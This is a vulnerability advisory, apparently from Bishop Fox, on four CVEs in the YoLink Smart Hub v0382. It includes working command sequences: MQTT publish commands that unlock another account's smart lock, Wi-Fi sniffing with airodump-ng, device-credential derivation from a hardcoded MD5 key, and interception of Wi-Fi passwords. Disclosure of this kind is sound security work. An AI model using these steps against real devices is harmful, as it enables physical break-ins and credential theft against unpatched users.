The following document describes identified vulnerabilities in the YoLink Hub smart device version 0382.

Product Vendor

YoSmart

Product Description

The YoLink Smart Hub is an IoT Gateway device that enables users to connect to and control their YoLink devices remotely with a mobile application. The product’s official website is https://shop.yosmart.com. The latest version of the application is 0382, released on March 23, 2025

Vulnerabilities List

Three vulnerabilities were identified affecting the YoLink Smart Hub: 

• Insufficient Authorization Controls
• Insecure Network Transmission
• Improper Session Management

Affected Version

Version 0382

Summary of Findings

Bishop Fox staff identified three vulnerabilities in the YoSmart YoLink Hub version 0382. The most severe vulnerability was an authorization controls issue that could enable an attacker to interact with other YoSmart users’ smart home devices. Additionally, Bishop Fox staff observed that device and mobile communications with the YoSmart MQTT broker were unencrypted, making the device vulnerable to sensitive data exposure and replay attacks.

Any organization using YoLink Smart Hub v0382 is impacted. Because the hub is the central gateway for the entire ecosystem, all connected devices are exposed if the hub is compromised.

Solution

YoSmart did not respond to Bishop Fox’s attempts to contact them within the 90-day responsible disclosure window. Therefore, no known current solution or mitigation addressing the vulnerabilities identified exists. Until YoSmart takes the necessary steps to remediate the identified vulnerabilities, Bishop Fox recommends using alternative products that have been tested and vetted by security professionals.

Timeline

• 05/14/2025: Initial discovery
• 06/13/2025: Contact with vendor via email
• 06/23/2025: After ten days without reply from YoLink, Bishop Fox staff send a printout of the vulnerability report to YoLink via UPS.
• 06/27/2025: UPS reports that the package has been signed for by a recipient at YoLink’s address.
• 09/18/2025: Bishop Fox staff call YoLink’s support line and request a response to the report. YoLink staff request and receive a phone number and email address, and indicate that the request will be escalated to a supervisor, but no response is ever received by Bishop Fox Staff.
• 10/2/2025: Vulnerabilities publicly disclosed.

YoLink Smart Hub Version 0382 — Vulnerabilities

Insufficient Authorization Controls – YoLInk Broker

Bishop Fox staff determined that the YoLink MQTT broker did not enforce strong authentication and authorization controls on device control messages, allowing an attacker to remotely operate affected devices if the attacker obtained the corresponding device IDs. Because YoLink device IDs were predictable, an attacker could exploit this vulnerability to gain full control over any other YoLink user’s smart home devices.

Vulnerability Details

CVE ID: CVE-2025-59449

Vulnerability Type: Insufficient Authorization Controls

Access Vector: ​☒​ Remote, ​☐​ Local, ​☐​ Physical, ​☐​ Context dependent, ​☐​ Other (if other, please specify)

Impact: ​☐​ Code execution, ​☐​ Denial of service, ​☐​ Escalation of privileges, ​☐​ Information disclosure, ​☒​ Unauthorized Access to Sensitive Operations

Security Risk: ​☒​ Critical, ​☐​ High, ​☐​ Medium, ​☐​ Low

Vulnerability: CWE-284 

Bishop Fox staff verified this issue by creating two YoLink accounts, associating the first account with a YoLink Smart Hub and Yolink Smart Lock, then publishing control messages for the smart hub device via the MQTT broker while logged in as the second account.

Request

POST /user/login?_time=1748186599550&_locale=en_US HTTP/2 
Host: us.yosmart.com 
Content-Length: 140 
Content-Type: application/x-www-form-urlencoded 
…omitted for brevity… 

pushChannel=FCM&appVersion=1.40.41&platform=android&phoneModel=Android+SDK+built+for+arm64&username=ncerne2&password=[REDACTED]

Response

HTTP/2 200 OK 
Server: nginx/1.22.1 
…omitted for brevity… 

{"code":"000000","descrition":"success","data":{"userInfo":{"id":"8e72[REDACTED]","username":"ncerne2","token":"350f[REDACTED]","family":{"id":"4f2f[REDACTED]", 
…omitted for brevity…

After authenticating to the second account and retrieving the session token, Bishop Fox staff required the device IDs of the smart lock and device hub associated with the first account. For the YoLink devices examined by Bishop Fox staff, the device IDs were identical to the MAC address, such as the value shown in the UART console output below:

waiting for download 
…omitted for brevity… 
I (468) boot: Disabling RNG early entropy source... 
I (480) cpu_start: Multicore app 
I (480) cpu_start: Pro cpu up. 
I (480) cpu_start: Starting app cpu, entry point is 0x400813f8 
…omitted for brevity… 
I (625) gpio: GPIO[5]| InputEn: 0| OutputEn: 1| OpenDrain: 0| Pullup: 0| Pulldown: 1| Intr:0 
I (635) Mac: 0x3ffba8b0   
…omitted for brevity…  
|d88b[REDACTED]| 
I (645) Mac: 0x3ffba8c0   00                                                 
I (655) Mac: String UUID [d88b[REDACTED]] 
I (655) NETWORKING: To Set Networking MAC [D88B[REDACTED]] 
…omitted for brevity…

Figure 1 - UART boot logs exposing MAC address

An attacker could potentially obtain MAC addresses for YoLink customers’ devices by guessing possible values beginning with the prefix 0xD88B (the KingTing Tech. Organizationally Unique Identifier (OUI)), or by observing wireless network traffic generated by affected devices. Iterating through approximately one trillion possible MAC addresses beginning with the 0xD88B prefix would not be feasible, but Bishop Fox staff found that the MAC addresses appeared to be sequentially generated for a given YoLink product. This was determined by comparing the MAC address suffixes of the two YoLink hubs owned by Bishop Fox staff. Specifically, after converting the values from hexadecimal to decimal, the difference between them was not large despite one trillion possibilities if the suffixes were randomly generated. This could indicate that device IDs were not randomly generated and the difference in values could be due to a gap in manufacturing time between devices.

Additionally, since device IDs were identical to the MAC address, they could be intercepted from Wi-Fi packets transmitted in close proximity. To demonstrate this, Bishop Fox staff intercepted Wi-Fi packets using airodump-ng in monitor mode:

% sudo airodump-ng –bssid [ROUTER_BSSID] --channel [CHANNEL_NUMBER] -w capture [INTERFACE]

Figure 2 - airodump-ng command yielding capture file

The output of the previous command yielded a capture file that contained Wi-Fi packets being transmitted and received by the YoLink Hub. For example, the following Wi-Fi packet contained the MAC address of the YoLink Hub:

48 01 4c 00 [REDACTED] d8 8b  [REDACTED] 
[REDACTED] f0 69

Figure 3 - Wi-Fi packet capture showing KingTing OUI and MAC address

After retrieving the device IDs belonging to account one, Bishop Fox staff called fetchGeneralInfo while passing the device ID of the smart lock to confirm its association with account one:

Request 

GET /device/fetchGeneralInfo?
deviceId=d88b[REDACTED]&sn=&_time=1745344738612&_locale=en_US HTTP/2 
Host: us.yosmart.com 
…omitted for brevity…

Response

HTTP/2 200 OK 
Server: nginx/1.22.1 

{"code":"000000","descrition":"success","data":{"familyDevice":{"id":null,"family":
{"id":"ee9b[REDACTED]" 
…omitted for brevity… 
“createDate":1735205504000,"deviceType":{"id":"4483[REDACTED]","name":"Smart Lock","infoUrl":null,"comment":null,"code":"YLMFSL","icon":"device_lock" 
…omitted for brevity…

As demonstrated, the family ID differed from the family ID in the login response, indicating that the smart lock belonged to an account external to the one used to authenticate.

Subsequently, Bishop Fox staff issued an MQTT command using the second account’s credentials, which included the family ID as the username and the token as the password, to unlock the smart lock associated with first account:

% mqtt pub -h mq-yl-appt.yosmart.com -p 8001  -V 3  -i "US-4443[REDACTED]"  -u "ylap[REDACTED]"  -pw "464b[REDACTED]"  -t "/ys/d88b[REDACTED]/tx"  -m '{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}' -v 
…omitted for brevity… 
Client 'US-4443[REDACTED]@mq-yl-appt.yosmart.com' sending CONNECT 
    MqttConnect{keepAlive=60, cleanSession=true, restrictions=MqttConnectRestrictions{receiveMaximum=65535, sendMaximum=65535, maximumPacketSize=268435460, sendMaximumPacketSize=268435460, topicAliasMaximum=0, sendTopicAliasMaximum=16, requestProblemInformation=true, requestResponseInformation=false}, simpleAuth=MqttSimpleAuth{username and password}} 
Client 'US-4443[REDACTED]@mq-yl-appt.yosmart.com' received CONNACK 
    MqttConnAck{returnCode=SUCCESS, sessionPresent=false} 
Client 'US-4443[REDACTED]@mq-yl-appt.yosmart.com' sending PUBLISH ('{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}') 
    MqttPublish{topic=/ys/d88[REDACTED]/tx, payload=165byte, qos=AT_MOST_ONCE, retain=false} 
Client 'US-4443[REDACTED]@mq-yl-appt.yosmart.com' finish PUBLISH 
    MqttPublish{topic=/ys/d88b[REDACTED]/tx, payload=165byte, qos=AT_MOST_ONCE, retain=false} 
…omitted for brevity…

Figure 4 - Publishing to smart lock MQTT topic with unauthorized account

By exploiting this issue, an attacker could potentially open doors secured using YoLink locks or cause other malicious results based on the specific type of YoLink device.

Insufficient Authorization Controls – YoLInk API

Bishop Fox staff identified that the YoLink API did not enforce strong authentication and authorization controls to prevent unauthorized access to end user device credentials. An attacker could take advantage of this to harvest device credentials and perform actions against endpoints intended for the device hub, such as intercepting sensitive information, or transmitting malicious data.

Vulnerability Details

CVE ID: CVE-2025-59452

Vulnerability Type: Insufficient Authorization Controls

Access Vector: ​☒​ Remote, ​☐​ Local, ​☐​ Physical, ​☐​ Context dependent, ​☐​ Other (if other, please specify)

Impact: ​☐​ Code execution, ​☐​ Denial of service, ​☐​ Escalation of privileges, ​☐​ Information disclosure, ​☒​ Unauthorized Access to Sensitive Operations

Security Risk: ​☐​ Critical, ​☒​ High, ​☐​ Medium, ​☐​ Low

Vulnerability: CWE-284 

Bishop Fox staff observed that the YoLink API could be used to obtain MQTT broker credentials by providing a YoLink device ID and an MD5 hash, as shown below:

Request

GET /pf/d88b[REDACTED]/100B65[REDACTED] HTTP/2 
Host: api.yosmart.com 
Content-Type: application/json 
Content-Length: 2

Response

HTTP/2 200 OK 
Server: nginx/1.22.1 
Date: Tue, 13 May 2025 22:57:25 GMT 
Content-Type: application/json;charset=UTF-8 
...omitted for brevity... 

{"code":"000000","descrition":"success","data":{"lora":{"freq":910300000,"dr":3,"power":20},"firm":{"ver":"0107","url":"http://www.yosmart.com/firmrepo/NotValidNow.bin"},"deviceId":"d88b[REDACTED]","ota":{"time":"01:00"},"svr":{"mqtt":{"url":"mqtt://mq-yl-gw-lb.yosmart.com:8001","pwd":"055f[REDACTED]","tpkfix":"ylgw470"}}},"messageKey":null}

By reverse-engineering the Smart Hub firmware, Bishop Fox staff determined that the MD5 hash could be calculated by concatenating a hardcoded 32-character key to the device ID:

…omitted for brevity… 
int FUN_400dc564(void) 
{ 
  undefined4 device_id; 
…omitted for brevity… 
  device_id = get_device_id(); 
  FUN_4015ca00(auStack_7c,&s_%s_%s,device_id,&s_cf50[REDACTED]); 
  FUN_400d8120(auStack_7c,auStack_4a); 
…omitted for brevity…

Figure 5 - Ghidra decompiled firmware output

Bishop Fox staff verified the ability to generate an identical MD5 hash for a known device ID with the following Linux shell command:

$ echo -n "d88b[REDACTED]cf50[REDACTED]" | md5sum | awk '{print $1}' | tr '[:lower:]' '[:upper:]' 

100B65[REDACTED]

Figure 6 - MD5 hash generated from the concatenated value

After retrieving the credentials, Bishop Fox staff could interact with MQTT topics intended for the YoLink smart hub. Bishop Fox staff observed that it did not appear that the devices could be controlled using their own MQTT credentials because any attempts to authenticate would disrupt the device’s active MQTT connection. However, Bishop Fox staff identified that these credentials could be used to intercept sensitive information such as Wi-Fi credentials or disrupt service to legitimate smart hubs. To demonstrate this, the credentials were used to intercept a Wi-Fi update MQTT message:

mqtt sub -h mq-yl-gw-lb.yosmart.com -p 8001  -i "SG-d88b[REDACTED]"  -u 
"d88b[REDACTED]"  -pw "055f[REDACTED]"  -t "ylgw[REDACTED]/admin" 
…omitted for brevity… 
{"msgid":"1748621444805","ser":"1444805","deviceId":"d88b[REDACTED]","cmd":"s_wifi","ssid":"iot-testing-2","password":" INAm[REDACTED]"}

Figure 7 - Intercepting Wi-Fi password using device credentials

As demonstrated, an attacker could use the device credentials to intercept sensitive information, such as Wi-Fi credentials, or disrupt legitimate MQTT device connections.

Insecure Network Transmission

Bishop Fox staff determined that the YoLink Smart Hub and mobile application communicated using unencrypted MQTT messages. An attacker with the ability to monitor network traffic generated by either could, therefore, obtain sensitive information such as MQTT credentials and device IDs or tamper with the traffic to control affected devices.

Vulnerability Details

CVE ID: CVE-2025-59448

Vulnerability Type: Insufficient Authorization Controls

Access Vector: ​☐​ Remote, ​☒​ Local, ​☐​ Physical, ​☒​ Context dependent, ​☐​ Other (if other, please specify)

Impact: ​☐​ Code execution, ​☐​ Denial of service, ​☐​ Escalation of privileges, ​☒​ Information disclosure

Security Risk: ​☐​ Critical, ​☒​ High, ​☐​ Medium, ​☐​ Low

Vulnerability: CWE-319

Bishop Fox staff performed a packet capture of traffic between the Smart Hub and the MQTT broker, as well as the YoLink mobile application and the MQTT broker. As shown below, the content was sent in cleartext:

....MQIsdp.....#US-0A095[REDACTED].&ylap[REDACTED].$1d17[REDACTED] 
 ... 
.6..../ys/d88b[REDACTED]/rx.../ys/d88b[REDACTED]/rx. 
...... 
0..../ys/d88b[REDACTED]/tx{"method":"MFLock.setState","params":{"state":{"lock":"locked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}} 
0..../ys/d88b[REDACTED]/rx{"msgid":"1745938163506","ser":"8163506","deviceId":"d88b[REDACTED]","type":"hub","method":"StatusChange","data":{"online":false}} 
0..../ys/d88b[REDACTED]/tx{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}0..../ys/d88[REDACTED]/tx{"method":"MFLock.getState","params":null,"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}..0..../ys/d88b[REDACTED]/tx{"method":"hub.getState","params":null,"targetDevice":"d88b[REDACTED]","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}..

Figure 8 - MQTT packets sent by the mobile application

An attacker could exploit this vulnerability to capture the device ID (for use with the issue discussed in the Insufficient Authorization Controls – MQTT Broker finding), the device or mobile applications MQTT credentials, or potentially sensitive customer data that could be included in parameters such as the endpointId.

Improper Session Management

Bishop Fox staff identified that the YoLink application failed to properly invalidate user sessions, allowing session cookies to remain valid for longer than a week even after logging out. The increased session lifetime increases the window of opportunity for an attacker to hijack user sessions to perform nefarious actions like modifying account settings or interacting with user devices.

Vulnerability Details

CVE ID: CVE-2025-59451

Vulnerability Type: Insufficient Authorization Controls

Access Vector: ​☒​ Remote, ​☐​ Local, ​☐​ Physical, ​☐​ Context dependent, ​☐​ Other (if other, please specify)

Impact: ​☐​ Code execution, ​☐​ Denial of service, ​☐​ Escalation of privileges, ​☐​ Information disclosure, ​☒​ Session hijacking

Security Risk: ​☐​ Critical, ​☐​ High, ​☒​ Medium, ​☐​ Low

Vulnerability: CWE-613

To demonstrate this issue, Bishop Fox staff sent an MQTT publish command to unlock the smart lock with credentials that were generated over a week preceding their use:

...omitted for brevity... 
mqtt pub -h mq-yl-appt.yosmart.com -p 8001  -V 3  -i "US-4443[REDACTED]"  -u "ylap[REDACTED]/"  -pw "5e42[REDACTED]/"  -t "/ys/d88b[REDACTED]/tx"  -m '{"method":"MFLock.setState","params":{"state":{"lock":"unlocked"}},"targetDevice":"d88b[REDACTED]/","producer":{"type":"APP","channel":"APP","endpointId":"ncerne"}}' 
Identifier 'US-4443[REDACTED]' may be too long (identifier length '35' exceeds 23) 
Identifier 'US-4443[REDACTED]' may contain invalid characters ('-') 
...omitted for brevity...

Figure 9 - MQTT client publish command

After the device hub received the command, the smart lock unlocked. Improper session management could enable an attacker who gained access to a user’s valid session token to maintain persistent unauthorized access for several days.